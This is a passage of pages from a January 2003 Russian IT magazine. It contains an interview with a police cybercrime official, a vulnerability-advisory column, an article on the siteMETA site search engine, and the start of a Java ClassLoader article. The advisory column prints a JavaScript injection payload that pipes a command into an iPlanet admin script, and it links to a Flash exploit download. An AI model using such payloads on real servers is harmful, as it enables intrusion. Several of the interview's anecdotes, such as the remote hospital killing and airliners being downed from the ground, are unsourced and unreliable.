жизнедеятельности новорожденных принес на работу дискетку с иг-

рушкой и с вирусом. Запустил. Система зависла. В результате умер новорожденный. Вру, это было еще до нового Кодекса, потому что его так и не осудили. Оформили все как «несчастный случай». В 98-м году было нечто похожее, когда была захвачена система управления «Газпромом». Один из тамошних высокопоставленных чиновников ушел с обидой, что-то они там не поделили. Потом нанял компьютерных специалистов, для того чтобы они, используя его пароль, вошли в систему и стерли какие-то файлы. Причем система «Газпрома» была очень хорошо защищена. Но только от вторжения извне. А они вошли в нее как «свои», используя «неуволенный» пароль. Они проникли в систему, по сути, в канал управления «Газпромом». У этих ребят, студентов, никакого злого умысла не было, просто залезли и смотрели. Они могли поток газа в одном месте перекрыть, в другое перебросить… Там же все автоматизировано. Слава богу, не наделали беды. Их вовремя обнаружили и задержали. Но в данном случае системного администратора надо сажать. Ну не сажать, а судить. Потому что из компании ушел человек, имеющий доступ к системе, а сисадмин не удосужился тут же сменить пароли доступа. Грубейшее нарушение! – Да у нас это повсеместно происходит. – Совершенно правильно, повсеместно. У нас в прошлом году было обращение из Красноярского края от интернет-провайдера «Глобал-1». Они обнаружили, что у них Интернет воруют, причем в промышленных масштабах. Воруют здесь, из Москвы. Мы поработали, проверили и обнаружили в Москве 85 телефонов, с которых осуществлялся неправомерный доступ. Потом, когда все разбирали, оказалось, что тамошний директор был два года назад в командировке в Москве, и у него украли ноутбук. А на нем были записаны все пароли. И за два года они не удосужились их сменить. Та же самая халатность и беспечность. – Эта халатность свойственна только нам или повсеместна? – Повсеместна. Общая привычка. В июле был в Нью-Йорке, летал по одному делу: наш хакер из Сургута взломал базу данных американского бан-

55


безопасность ка и похитил клиентскую базу. Начал шантажировать банк, грозясь опубликовать эту информацию. Для банка это серьезная проблема, поэтому они сразу дали ему 10 тысяч долларов откупных. А потом мы его здесь благополучно взяли. Сейчас сидит в тюрьме и не радуется. Но дело не в этом. Это самоучка, любитель, базу взломал абсолютно непрофессионально. Начитался простейших приемов на хакерских сайтах, запустил простейшую программу... И взломал. Потому что защиты у банка никакой практически не было. – То есть это не хакер у нас такой сильный, а у них защита слабая. – Всему виной слабая защита именно в фирмах, занимающихся «ecommerсe». Это понятно, хорошие специалисты по антихакерной защите дорого стоят и поэтому руководители подобных компаний зачастую просто жалеют тратить на них деньги. Правда, жалеть об украденных деньгах приходится еще сильнее, но… Надежда на «авось» не является эксклюзивной российской привычкой, как думают многие. Кроме того, на мой взгляд, у тамошних полицейских, специализирующихся в области компьютерных технологий, не очень высокие познания в этой специфической сфере. Может быть, как полицейские они и хорошие, но для того чтобы эффективно бороться с хакерами, надо знать специфику этого мира. Надо знать технологию компьютерных программ, сетей, разбираться в терминологии хакера – для того чтобы общаться с ним на одном языке. Надо хотя бы владеть персональным компьютером, а многие тамошние главные специалисты печатают на клавиатуре одним пальцем. Я вот не компьютерный специалист, а печатаю десятью. Хотя закончил всего-навсего химико-технологический институт имени Менделеева. – А специальность какая? – Вы что, тоже там учились? Технология основного органического и нефтехимического синтеза. Поработал три года на химическом заводе и потом пошел в милицию. Сейчас у меня 17 лет стажа оперативной работы. Предыдущая должность – заместитель начальника 2-го «убойного» отдела МУРа. Начинал с оперуполномоченного в отделении милиции, дошел на «земле» до

56

заместителя начальника по уголовному розыску. Потом перешел в МУР. А компьютер всегда был моим хобби. – Александр Сергеевич, а когда у Вас появилась первая «машина»? Я имею в виду компьютер? – Первый компьютер я собрал сам. Это был 1986-ой год, машина называлась РК-86, делал ее по схеме из журнала «Радио». Я вообще с детства увлекался радиолюбительством, приемники собирал. А первый серьезный компьютер появился, когда работал в 82ом отделении милиции, нам его подарили местные спонсоры. Хороший был компьютер, 8088, первая XT-ишка. Там у меня уже база стояла, всех местных злодеев туда собирал. Кстати, я потом, когда базу эту сделал, даже несколько преступлений раскрыл. За счет этой накопленной информации, взаимосвязи… Из окружающих, правда, никто не понимал: «О, в игрушки играешь!» И сейчас не все понимают. Правда, сейчас, когда компьютер стал фактически работой, стало намного тяжелее. – А как получилось, что Вы из такого замечательного боевого отдела и вдруг на эту виртуальную стезю попали? – Когда это управление формировалось, мне предложили в нем работать. Я с большим трудом уходил из МУРа, меня жутко не хотели отпускать. А почему я сюда захотел, потому что это развивающееся направление, перспективное. До сих пор еще точно никто не знает, что из этого получится в дальнейшем. Мы же идем к глобальной системе телекоммуникаций, когда все будет в сети. Холодильники, телевизоры, микроволновые печи с подключением к Интернету… Это будет поистине глобальная сеть, ее надо защищать. Еще никто не понимает опасностей, которые нам грозят. Здесь каждый день появляется чтото новое. Те же злоумышленники, они каждый день изобретают новые способы совершения преступления. Все время приходится работать головой, какая-то творческая мысль, развитие. А убийства… Методика раскрытия убийств, она наработана уже годами, да какими годами, десятками лет! Это идет со времен царской охранки. Стандартная методика. Нет движения, нет динамики, развития, все устоявшееся, одно и то же. А здесь интересно. Кста-

ти, в нашем управлении мы смогли добавить кое-что новое и в методику работы по убийствам. В марте был реальный случай, когда мы вместе с коллегами из Ярославля поймали киллера, который принимал заказы в сети. Он разместил объявление на электронной доске объявлений, «помогу уйти из жизни, можно без согласия клиента». – С юмором парень. – Кто его знает, с юмором, а может, для того чтобы затруднить нам поиск. Мы же ведем разведку в сетях Интернета по ключевым словам. А тут ключевых слов нет, но ярославцы на него как-то вышли. Объявление было размещено из Москвы, мы взяли под контроль этот почтовый ящик, вступили с ним в переписку под видом заказчиков. Его взяли при получении задатка. Правда, когда его к следователю прокуратуры повезли, парень сразу же сказал, что это все шутка, что «просто хотел заработать денег». Сделали обыск, но у него дома оружия не нашли. В результате осудили за мошенничество. Хотя я уверен, что человек действительно намеревался совершить убийство… Потому что когда он взял «заказ», то сразу начал готовиться, установил наблюдение за «клиентом», изучал режим… Потом в 1998-м году в США был реальный случай убийства, совершенного с помощью Интернета. Там задерживали банду наркоторговцев. При задержании в перестрелке тяжело ранили одного из членов банды, остальным удалось скрыться. Раненого склонили к сотрудничеству, он начал давать показания. Само собой, применили программу «защиты свидетелей», дали другое имя, документы, адрес. Но все что сменили, осталось в компьютерных базах данных того же ФБР. Раненого поместили в больницу под охрану, он был в тяжелом состоянии, много огнестрельных ранений. А наркоторговцы наняли хакеров, которые смогли войти в базу данных ФБР, узнали как теперь зовут «отступника», где он находится и дистанционно отключили ему в больнице систему жизнеобеспечения. Попутно вырубили и систему тревоги, которая должна была сработать. Утром пришла медсестричка, а в койке холодный труп. Это реальный случай убийства Интернетом. Это уже реальность.


безопасность – Я вообще удивляюсь, почему подобное управление не создали под эгидой Министерства Обороны. Ведь с помощью компьютера можно целые армии из строя выводить. Не то что больницы… – Не волнуйтесь, они этим тоже занимаются. И мы с ними работаем в контакте. У нас был случай, когда при боевых полетах неожиданно начали возникать жуткие помехи, прерываться связь с самолетами, шумы. Военные обратились к нам, оказалось, все помехи делает одно частное такси. С незарегестрированным дальнобойным передатчиком. Такая разновидность семейного бизнеса – жена сидела дома, принимала заказы и передавала мужу по рации. Рация была настолько мощная, что создавала помехи самолетам. Информационные технологии действительно могут быть очень мощным оружием. Кстати, когда был иракский конфликт, помните? Ирак покупал у французов истребители «Мираж» незадолго до начала «Бури в пустыне». Когда конфликт начался, ни один «Мираж» не взлетел. Потому что у всех сразу отказала система навигации. Она была выведена из строя на всех истребителях сразу всего лишь одним радиосигналом. Это просто было изначально заложено в конструкции. О чем иракцев, разумеется, не предупредили. Вот сейчас в Швеции анонсировали новинку для борьбы с кражами мобильных телефонов. Большая проблема, много воруют. Потом к нам привозят и продают. Так шведы сделали в телефоне взрывающийся чип. Кодированным сигналом этот чип внутри аппарата взрывается и все, телефон становится бесполезен. Его можно только выкинуть. Украли у тебя телефон, сделал один звонок и… самоуничтожение. А если такие телефоны пойдут в серию? Что, наши злые хакеры не подберут такой сигнал? Запросто. И что тогда будет? Можно вывести связь сразу на громадной территории. А связь – это великое дело, не зря Ленин говорил, что сначала почту-телеграф захватить, только потом мосты. Нет связи – нет управления, происходит дезорганизация работы общества. – Чем больше общество развивается, тем более оно становится уязвимым.

№1(2), январь 2003

– Да. Я, конечно, не хочу усомниться в компетентности специалистов, но посмотрел статистику авиакатастроф. В 30% случаев причиной аварии был сбой бортового компьютера. У «Боингов» это особенно часто бывает. И все, дальше не доискиваются, почему этот сбой произошел. Наверное, и невозможно доискаться, потому что в обломках мало что остается. Но все дело в том, что тем же «Боингом» можно полностью управлять с земли. Сделано это для страховки пилотов, стало им плохо – можно взять управление с земли и посадить самолет. Но можно его также и уронить! Все зависит от того, как закрылки передвинешь. Причем сделать все можно без ведома пилота, все автоматизировано. И когда в причинах аварии пишут «сбой компьютера», это должно наводить на мысль: почему? Откуда сбой? И сейчас подобные компьютеры везде. Вон последняя 745-ая серия машин «БМВ». Это первая машина, которая не имеет ни одной физической связи водителя с механизмом. Все управляется через электронику. Нет ни одной тяги, ни одного рычага, который вел бы непосредственно к системе управления или двигателю. Управляется машина под операционной системой «Виндоус СЕ», установленной в бортовом компьютере. А раз стоит операционная система, значит можно занести вирус. Там, кстати, есть и выход в Интернет, навигационная система. А раз есть выход, канал связи, значит можно войти в систему и управлять. И машина откажется повиноваться – ты руль крутишь вправо, а она поворачивает влево. Как в фантастических фильмах – машина, которой можно полностью управлять дистанционно. Мы уже пришли к этому. Последнюю часть машин отозвали, там встроенный «Виндоус» виснет, что приводит к «беспричинной» остановке машины. – Жуть. Вы прям как профессиональный футуролог будущее предрекаете. Кстати, а как изменяется объем преступлений по Вашему профилю? Точнее, как быстро растет? – По статистике, за прошлый год в области высоких технологий преступлений было зарегистрировано 262. Это в два раза больше, чем в позапрошлом году. И в четыре – чем в 1999-м.

Двукратное увеличение идет каждый год с 1997-го, т.е. с момента основания управления. Уже сейчас по 3-4 обращения в день с жалобами на лопнувшие и липовые паевые инвестиционные интернет-фонды. Но при этом латентность этих преступлений составляет не менее 90%. – Это что за слово такое мудреное, дешифруйте. – Латентность – скрытость. То есть не все преступления заявляются. По разным причинам. Во-первых, многие попросту пока еще не знают про нашу службу, а простой участковый с такими делами человека может просто «послать». Во-вторых, люди просто сомневаются, что можно что-то найти и чтото сделать. Как найдешь что-то в Интернете? И в-третьих, многим это кажется рискованным. Последняя категория самая многочисленная, это серьезные фирмы и банковская сфера. Они просто не хотят афишировать, что у них что-то произошло. Поскольку это может нанести очень большой ущерб имиджу и неправильно будет воспринято клиентурой. Заяви – начнут копать, а там мало ли что раскопают. У нас ведь у всех банков рыльце в пушку, все работают с «левыми» фирмами, которые за счет своих незаконных операций приносят конкретный доход конкретным людям в руководстве каждого банка. Нам позвонили недавно коллеги из Тамбова, говорят, поймали негодяя, он тут в некоем банке «А» украл 60 тысяч рублей. Залез через сеть в банк и перечислил деньги себе. Компьютер засекли, парня поймали, сознался. Звоним в банк, сообщаем. В ответ слышим: «Нет, у нас никаких хищений не было, быть не может и никогда быть не могло». Потом шепотом поясняют: «Ущерб имиджу!». – Александр Сергеевич, а старая матерая преступность с молодой криминальной компьютерной порослью, случаем, не роднится? – Нет, почти нет. Конечно, я не говорю об «апельсинах» (купивших себе воровские звания за деньги). Ни один «вор в законе» этим заниматься не будет. По крайней мере мне о таких случаях неизвестно. У нас сейчас другая эпоха и другая преступность. Только бы ее не проворонить. Дмитрий Аксёнов

57


bugtraq Переполнение буфера в MDAC (Internet Explorer, Interner Information Server) Microsoft Data Access Components (MDAC) – набор компонентов, используемых для обеспечения связи между базами данных на Windows-системах. MDAC – вездесущая технология, присутствующая на большинстве Windows-систем: ! По умолчанию устанавливается как часть Windows XP, Windows 2000 и Windows Millennium. ! Доступна для загрузки как отдельный продукт. ! Включена и инсталлируется с множеством других продуктов (например, Windows NT 4.0, Option Pack и Internet Explorer). MDAC обеспечивает основные функциональные возможности для множества операций базы данных, типа соединения с удаленными базами данных и возвращением данных клиенту. Один из MDAC-компонентов, известных как Remote Data Services(RDS), обеспечивает функциональные возможности, которые поддерживают трехярусную архитектуру, то есть архитектуру, в которой запрос клиента для базы данных проходит через сайт, который применяет логику к запросам. Обнаружена серьезная уязвимость в RDS-выполнении, а точнее в функции RDS Data Stub, которая анализирует входящие HTTP-запросы и генерирует RDS-команды. Уязвимость связана с переполнением буфера в Data Stub. Посылая специально сформированный HTTP-запрос к Data Stub, атакующий может переполнить динамическую память. Хотя переполнение динамической памяти более трудно в эксплуатации, чем переполнение стека, Microsoft подтвердил, что уязвимость может использоваться для выполнения произвольного кода на системе клиента. Уязвимости подвержены как веб-сервера, так и вебклиенты: ! Веб-серверы уязвимы, если на них установлен MDAC и запущен на сервере. Для успешной эксплуатации уязвимости против веб-сервера атакующий должен установить подключение с сервером и послать специально сформированный HTTP-запрос, который переполнит буфер данными атакующего. Любой код будет выполнен с привилегиями IIS службы (по умолчанию, LocalSystem). ! Веб-клиенты уязвимы почти всегда, так как RDS Data Stub включен во все последние версии Internet Explorer и нет опции, в которой он может быть отключен. Уязвимость может эксплуатироваться через злонамеренную веб-страницу или HTML почтовое сообщение. По словам Microsoft, уязвимость очень серьезна и все системы, которые она может затронуть, должны немедленно установить соответствующие заплаты. Администраторы веб-серверов должны остановить MDAC и/или RDS, или обновить до MDAC 2.7, которая неуязвима. Веб-клиенты должны установить обновление немедленно на системах, прямо или косвенно использующих RDS. Например, если даже на веб-сервере заблокирован MDAC, веб-клиенты на этом сервере все еще нуждаются в установке патча. Уязвимость обнаружена в Microsoft Data Access Components (MDAC) 2.1 Microsoft Data Access Components

58

(MDAC) 2.5, Microsoft Data Access Components (MDAC) 2.6, Microsoft Internet Explorer 5.01, Microsoft Internet Explorer 5.5, Microsoft Internet Explorer 6.0.

Выполнение произвольных программ в iPlanet Web Server При некоторых обстоятельствах атакующий может выполнять произвольные программы с root-привилегиями, используя комбинацию двух обнаруженных уязвимостей в iPlanet Web Server 4.* up to SP11 (NG-XSS). Вот эти две уязвимости: ! Небезопасный open() в Admin Server PERL сценарии. ! Межсайтовый скриптинг. Уязвимости по отдельности не могут приводить к выполнению произвольных команд в iPlanet Web Server, так как уязвимый Perl-сценарий защищен опознавательной схемой. Межсайтовый скриптинг обнаружен в веб-интерфейсе администратора при просмотре файлов регистрации ошибок. Атакующий может внедрить в эту страницу произвольный код сценария, который переадресует на уязвимый Perlскрипт. Так как для просмотра файлов регистрации ошибок требуется предварительная авторизация, Perl сценарий будет вызван автоматически. Единственное, что должен сделать атакующий – это заставить администратора сервера просмотреть в административном интерфейсе регистрацию ошибок. Пример внедряемого javascript сценария: <script> window.location="/https-admserv/bin/perl/ importInfo?dir=|<command>%00"; </script>

Переполнение буфера в Macromedia Flash Переполнение буфера обнаружено в SWRemote параметре, используемом в объектах Macromedia Flash. Успешная эксплуатация этой проблемы позволяет удаленному злоумышленнику переадресовывать процесс выполнения программы к злонамеренному shellcode, что приведет к выполнению произвольных команд с привилегиями процесса браузера. Уязвимость обнаружена в Macromedia Flash 6.0.47. Эксплоит можно скачать отсюда: http:// www.securitylab.ru/_tools/swfexpl.zip.

Переполнение буфера в Samba Переполнение буфера обнаружено в подпрограмме изменения пароля в Samba. Из-за недостаточной проверки границ пользовательского ввода атакующий может переполнить буфер, передавая зашифрованный пароль чрезмерной длины. Уязвимы все приложения, использующие модуль pam_smbpass PAM. Уязвимость может эксплуатироваться удаленно, потенциально приводя к выполнению произвольного кода с root привилегиями. Уязвимость обнаружена в Samba 2.2.2-2.2.6.


ПРОГРАММИРОВАНИЕ


программирование

ИСТОРИЯ ОДНОЙ РАЗРАБОТКИ, ИЛИ КАК МЫ ДЕЛАЛИ SITEMETA АНДРЕЙ КОВАЛЕНКО

Прошло уже полтора года с тех пор, как украинская компания <META> объявила о запуске новой поисковой машины в Интернете, использующей, пожалуй, все самые передовые разработки в области информационного поиска. До этого поисковая система использовала программное обеспечение ИПС Апорт версии девяносто восьмого года, так что событие это было неизбежным – ведь поисковые технологии не стоят на месте.

ПОИСКОВАЯ СИСТЕМА ДЛЯ ИНТЕРНЕТА. ПОИСКОВАЯ СИСТЕМА ДЛЯ САЙТА. КОРПОРАТИВНАЯ ПОИСКОВАЯ СИСТЕМА. ВСТРАИВАЕМЫЕ ПОИСКОВЫЕ БИБЛИОТЕКИ ДЛЯ РАЗРАБОТЧИКОВ. ЛИНГВИСТИЧЕСКИЕ КОМПОНЕНТЫ. ЗАО МЕТА РАЗРАБАТЫВАЕТ И ВНЕДРЯЕТ ПОИСКОВЫЕ РЕШЕНИЯ ЛЮБОГО УРОВНЯ СЛОЖНОСТИ. ОБЪЁМ ИНДЕКСИРУЕМОЙ ИНФОРМАЦИИ ОТ 0.001 ДО 1000 ГБ. ПОДДЕРЖКА ВСЕХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. РУССКАЯ И АНГЛИЙСКАЯ МОРФОЛОГИЯ. ФИЛЬТРЫ ДЛЯ ВСЕХ РАСПРОСТРАНЁННЫХ ФОРМАТОВ (HTML, XML, DOC, XLS, И Т. П.)

АНДРЕЙ КОВАЛЕНКО 60


программирование История разработки большой поисковой машины будет, возможно, описана позже, может быть, – в чьих-нибудь мемуарах, может быть, – несколько раньше, однако сейчас интереснее нарушить хронологический порядок и рассказать, что и как пришлось сделать для того, чтобы построить полноценную локальную поисковую машину siteMETA, не наступив себе на хвост и не нарушив целостности проекта.

Откуда растут уши? Рано или поздно в жизни интернет-ресурса наступает момент, когда без поиска по растущему количеству документов уже не обойтись. Фактически, сайту, состоящему из сотни страниц, уже необходимы поисковые функции. Для иллюстрации данного утверждения достаточно обратиться к большим поисковым системам и дать запрос: “сделать поиск по сайту”. Ответы будут содержать множество примеров. Это и просьбы пользователей, и «декларации намерений» владельцев серверов наконец-то доделать своё детище, и радостные новости о том, что «поиск по сайту заработал»... Но есть и сообщения о трудностях, с которыми приходится сталкиваться при выборе, установке и последующей эксплуатации поисковой системы. Давайте проанализируем, кому же нужен этот самый поиск по сайту? Как пишет известный специалист по «Web-usability» Якоб Нильсен: «Пользователи обожают поиск по двум причинам». Во-первых, поиск позволяет посетителям управлять своей собственной судьбой и делает их независимыми от попыток веб-сайта направить их по определенной тропе, протоптанной веб-дизайнером, и результаты тестов регулярно подтверждают этот вывод. Типичное замечание пользователя: «Я не хочу идти по сайту так, как они задумали. Я просто хочу найти нужную мне информацию». Вот почему большинство посетителей сайтов идут к функции «Поиск» сразу с главной страницы. Во-вторых, поиск для посетителей – это «пожарный выход» на случай, когда они запутались в навигации. Когда им неясно, что нужно дальше делать, они обращаются к функции поиска по сайту. Так почему бы не развесить «спасательные круги» по бортам судна, разместив поисковую форму на всех страницах сайта? Тем более предсказать, на какой именно странице посетители посчитают, что они потерялись, – невозможно. Именно поэтому, разработав и запустив большую поисковую машину, мы решили сделать и ее «маленькую версию» – просто для того, чтобы каждый владелец сайта мог легко и просто организовать качественный поиск в своих небольших (до одного гигабайта) угодьях.

Статика или динамика? Большие поисковые машины – существа весьма неповоротливые и, как правило, балуют сайты визитами своих роботов не чаще раза в неделю. Правильнее сказать – значительно реже. Связано это прежде всего с тем, что объемы обрабатываемой информации огромны, размеры индексов – тоже. Индексы больших машин не имеют органичных процедур модификации. Вместо этого выполняются различные специальные алгоритмы распараллели-

№1(2), январь 2003

вания обхода Сети и индексирования, разрабатываются различные схемы масштабирования, а технологический цикл – время полного обхода и проверки обрабатываемого множества документов – занимает недели. Очевидно, что и наша большая поисковая система обладает теми же свойствами, то есть работает с так называемым статическим индексом. Статический индекс есть поисковый индекс, который не допускает одновременного эффективного выполнения операций поиска и изменения, так как оптимизирован для первой задачи – извлечения информации. Суть оптимизации сводится к размещению блоков на диске таким образом, чтобы считывать необходимую информацию за один проход, а также свести к минимуму позиционирование считывающих устройств и требования по памяти. Очевидно, что оперативно модифицировать такой индекс, имеющий размеры в десятки гигабайт, да при этом не нарушать его оптимальной организации, практически невозможно. С другой стороны, даже на небольших объемах информации, когда время работы технологического цикла должно стремиться к нулю, остается масса проблем. Связаны они прежде всего с необходимостью постоянно присматривать за деятельностью программ, образующих поисковую машину, следить, чтобы на дисках было достаточно свободного места, регулярно переключать используемые индексы, что, впрочем, все равно не гарантирует оперативного попадания новых документов в поисковый индекс. Да и реалии таковы, что скорее всего переиндексирование будет выполняться в лучшем случае раз в сутки. Ну какой администратор потерпит, что в его вотчине непрерывно работает некий процесс! Именно поэтому мы решили разработать динамический индекс. Динамический индексат хоть и менее эффективен при поиске по большим объемам информации, однако позволяет параллельно вести и пополнение (изменение) существующих данных и поиск по ним, что дает возможность организовать не нуждающийся во вмешательстве оператора программный сервис, обеспечивающий посетителям ресурса в любой момент времени поиск по самой свежей информации вплоть до новостных лент и биржевых сводок. С другой стороны, разработка новой поисковой машины представлялась занятием весьма расточительным, особенно при наличии отлаженного и весьма пристойно работающего поисковика. Параллельное же внесение изменений в поисковые и ранжирующие алгоритмы двух параллельных систем мы сразу отвергли, так как это повлекло бы за собой фактически удвоение объема работ. Именно поэтому и было принято решение абстрагировать представление индекса от поисковых алгоритмов, но так, чтобы не нанести сокрушительный удар по эффективности системы в целом.

COM и UNIX? А почему бы и нет! Для решения поставленной задачи была выбрана парадигма COM. Конечно, не сама Component Object Model (апологеты UNIX, мы солидарны с вами – не плюйтесь, читайте дальше) – ведь наша система ориентирована не только и не столько на Microsoft Windows, сколько на Linux и FreeBSD, а некоторое подмножество этой парадигмы,

61


программирование включающее декларацию классов с абстрактными методами и подсчет ссылок для автоматического освобождения памяти. Тем более что именно эта парадигма используется в наших разработках для подключения различных расширений – модулей языковой поддержки, фильтров специализированных форматов файлов. Прежде всего предстояло по лицензионным соображениям отвязать систему от единственного применяемого ранее менеджера БД – BerkeleyDB, использовать который в коммерческих разработках не представляется возможным для небольшой украинской компании. Поэтому мы реализовали свой собственный альтернативный менеджер БД с использованием libgist, которая распространяется абсолютно бесплатно. По ходу разработки, правда, сложилось впечатление, что дешевле и быстрее было бы разработать нечто подобное «с нуля», так как ошибки в libgist всплывали достаточно долго, однако компонент, поддерживающий b-tree, был изготовлен и упакован в разработанный обобщенный интерфейс. Скажем сразу, что все программные интерфейсы модулей расширения, в том числе и фильтров форматов, доступны по запросу любому зарегистрированному пользователю наших продуктов, в том числе и распространяемых бесплатно.

Индекс здесь, индекс там... После этого мы перешли собственно к индексу. Для начала были выделены основные примитивы, которые могут понадобиться при разработке приложений, и сформулированы их прототипы: ! поместить в индекс поисковый образ документа; ! отреагировать на обнаруженный новый локатор документа; ! создать курсор, обеспечивающий перебор записей в БД, и настроить его на извлечение записей по заданному поисковому ключу; ! получить условный ранг поискового ключа, вычисляемый по соображениям частотности слова в обрабатываемом массиве информации. Далее и статический, и динамический индексы были «упакованы» в классы, наследующие такой набор функций от базового прототипа, однако полностью скрывающие реализацию конкретного индекса.

... Что хранится под замком? Испробовав много вариантов, мы остановились на хранении записей динамического индекса в БД типа b-tree, причем ключом каждой записи является сочетание собственно поискового ключа – преобразованной внутренними алгоритмами строки – с идентификатором документа, в котором этот ключ встретился, а данными – дополнительная информация, описывающая вхождения поискового ключа в тело документа. Такая реализация хоть и имеет элемент многократного дублирования данных (идентификаторов документов), однако позволяет удалить информацию об одном-единственном документе без реорганизации всего индекса. Добавление же новых записей происходит и вовсе прозрачно, никак не влияя на параллельно ведущийся поиск по индексу.

62

Будьте проще … После понимания архитектуры программы начались раздумья над интерфейсом. С одной стороны, хотелось дать максимальное количество возможностей для управления системой, а с другой – нам были известны истории о неудачах при установке того или иного локального поисковика и жалобы на сложность администрирования, раздающиеся на многих форумах. Поэтому решено было делать программу насколько возможно простой, в духе «быстрого старта», чтобы от начала установки до обработки первого запроса проходило не более нескольких минут, а минимальные настройки системы были сокращены до задания стартового адреса и масок интересующих страниц. Надо сказать, нам это удалось – уже через несколько секунд после старта сервиса первые документы можно найти! После того как система «зажила» на сервере, администратор при наличии желания и времени может заняться более тонкими настройками, о которых мы расскажем далее.

И вот что получилось... В результате получилась программа, состоящая из трех основных модулей: собственно поискового сервиса, вебинтерфейса и административной консоли. Поисковый сервис параллельно выполняет индексирование и поиск документов на веб-сервере. После установки siteMETA он опрашивает страницы сайта, начиная обход с одного или нескольких стартовых адресов. Каждая извлеченная страница добавляется в поисковый индекс, после чего сразу становится доступной для поиска. Следующие страницы для индексирования поисковый сервис получает, анализируя ссылки на обработанных. Сервис работает в фоновом режиме. Новые или изменившиеся страницы автоматически добавляются в индекс. Веб-интерфейс связывает веб-сервер с поисковым сервисом. Он передает запрос поисковику и после его обработки формирует страницу выдачи результатов. Найденные документы упорядочиваются по степени соответствия запросу; при этом учитывается порядок слов в документе, расстояние между ними, форма слова и форматирование документа. Административная консоль предназначена для управления поисковым сервисом. Она позволяет задать список стартовых адресов и интенсивность индексации сайта, указать, какие каталоги и типы файлов подлежат обработке, наложить запрет на индексирование отдельных документов или целых групп.

Настройки Настройка поискового сервиса через административную консоль не является единственным способом управления поиском. Более тонкая настройка может осуществляться при помощи конфигурационных файлов. Так, для поискового сервера можно настраивать порты, пути к лог-файлу, списку стартовых адресов и масок, время ожидания при индексации документов, время между циклами переиндексации, поддержку wildcard-символов и т. п. Для CGI-скрипта, формирующего поисковый запрос и страницу выдачи результатов поиска, можно задать путь к файлу-шаблону страницы результатов и сообщений об ошибках, количество до-


программирование кументов, отображаемых на ответных страницах, и т. д. Администратор, не гнушающийся веб-дизайном, может настроить по своему усмотрению внешний вид страницы результатов поиска. Стандартные шаблоны входят в комплект поставки программы, и их можно легко модифицировать в соответствии со своими требованиями, или же сделать свой шаблон.

ного Банка Украины (www.bank.gov.ua). Сервис здесь обеспечивает поиск по английской и украинской версиям сайта, обрабатывает помимо документов формата html также электронные таблицы Microsoft Excel (.xls) и использует полные (словарные и бессловарные) модули лингвистической поддержки украинского и английского языков. Обрабатываемый объем данных – около 50 Мб в пересчете на плоский текст.

Не web-ом единым... Сейчас довольно распространенной практикой становится размещение на страницах сервера документов в самых различных электронных форматах. Отчеты, прайслисты, сводки, договора, пресс-релизы – вот далеко не полный перечень того, что все чаще попадает на сайт без предварительной подготовки и верстки в HTML. Почему бы поисковой системе не обрабатывать и эти данные? Фильтры форматов могут быть легко дополнены в siteMETA, что позволяет работать не только с html-документами, но и с документами наиболее популярных офисных пакетов, таких как Microsoft Word, Microsoft Excel и некоторых других. В настоящее время доступны фильтры форматов .doc, .xls, .rtf и .xml. Используя эти фильтры, например, можно облегчить жизнь коллегам в своем офисе, организовав простую корпоративную поисковую систему по документам на внутреннем веб-сайте.

Ты скажи, ты скажи, че те надо… В проекте был учтен опыт обработки протоколов деятельности большой поисковой машины. Все сообщения, возникающие в процессе работы siteMETA, пишутся в специальный log-файл. Анализ этого файла дает возможность оценить поступающие запросы, их частотность, просмотреть список и размер обработанных документов, статистику индекса, время индексирования и т. п., а также учесть сообщения об ошибках. Данные, получаемые при обработке статистики пользования поиском по сайту, дают пищу для размышлений и улучшений предоставляемых услуг. Так, наиболее частые обращения пользователей к поисковой системе позволяют понять, что именно ждут посетители от сайта. Зная это, можно оптимизировать структуру ресурса, пополняя его или меняя архитектуру: если какой-либо запрос встречается весьма часто, имеет смысл выделить соответствующие страницы в специальный раздел или же поместить ссылку на существующий на первую страницу. Например, после установки поисковой системы на сайт одного из банков анализ поисковых запросов показал, что пользователей очень интересует «облигация». Соответствующий раздел, подробно освещающий эту тему, на сайте присутствовал, однако находился на четвертом уровне вложенности. После размещения ссылки на этот раздел на главной странице продажи облигаций возросли!

Таки покажите мне этот таки поиск! После запуска проекта прошло чуть более месяца. За это время с сайта загружено около четырех сотен бесплатных версий. Коммерческая версия программы установлена и успешно работает на нескольких крупных сайтах. Удачных примеров использования описанного сервиса несколько, однако особо отметить хочется сайт Националь-

№1(2), январь 2003

Также заслуживает внимания реализация поиска по сайту еженедельника “Зеркало недели” (http://www.zerkalonedeli.com/). Здесь, наряду с украинским и английским языками, поддерживается русская версия ресурса. Обеспечивается поиск по разделам сайта, тексту и названию статей, автору, дате; поддерживается поиск по архиву материалов и текущей версии. Объем обрабатываемой информации – около 800 Мб.

Полученные отзывы от пользователей и клиентов будут учтены в следующей версии siteMETA, которая готовится к выпуску в январе. Эта версия будет обладать дополнительными возможностями по сортировке документов, настройке процесса индексирования и зон поиска. Версия будет обладать возможностью группировки по сайтам, что позволит применять программу пользователям, под чьим присмотром находится сразу несколько ресурсов, например, провайдерам или дизайн-студиям. Самую свежую версию программы siteMETA всегда можно бесплатно загрузить с сайта http://sitemeta.com.

63


JAVA: МАГИЯ ОТРАЖЕНИЙ

Часть II. ClassLoader – СКРЫТЫЕ ВОЗМОЖНОСТИ

ДАНИИЛ АЛИЕВСКИЙ


программирование Самый интригующий класс мира отражений В этой статье речь пойдет о классе java.lang.ClassLoader. Во многих отношениях он заслуживает эпитета «самый». Это самый фундаментальный класс в механизме отражений Java и одновременно самый яркий пример этой технологии. Это, пожалуй, самый необычный модуль не только в мире Java, но и среди большинства компилируемых языков. Это самый низкоуровневый, «глубинный» механизм Java, позволяющий вмешиваться практически в ядро Java-машины, причем оставаясь в рамках программирования на Java. Наконец, это один из самых трудных в понимании и использовании прикладных классов. Как следует из названия, класс ClassLoader обеспечивает загрузку классов Java. Точнее, обеспечивают его наследники, конкретные загрузчики классов – сам ClassLoader абстрактен. Каждый раз, когда загружается какой-либо .class-файл, например, вследствие обращения к конструктору или статическому методу соответствующего класса – на самом деле это действие выполняет один из наследников класса ClassLoader. Существует стандартный вариант реализации ClassLoader – так называемый системный загрузчик классов. Этот загрузчик используется по умолчанию при запуске приложений Java командой: java Имя_главного_класса

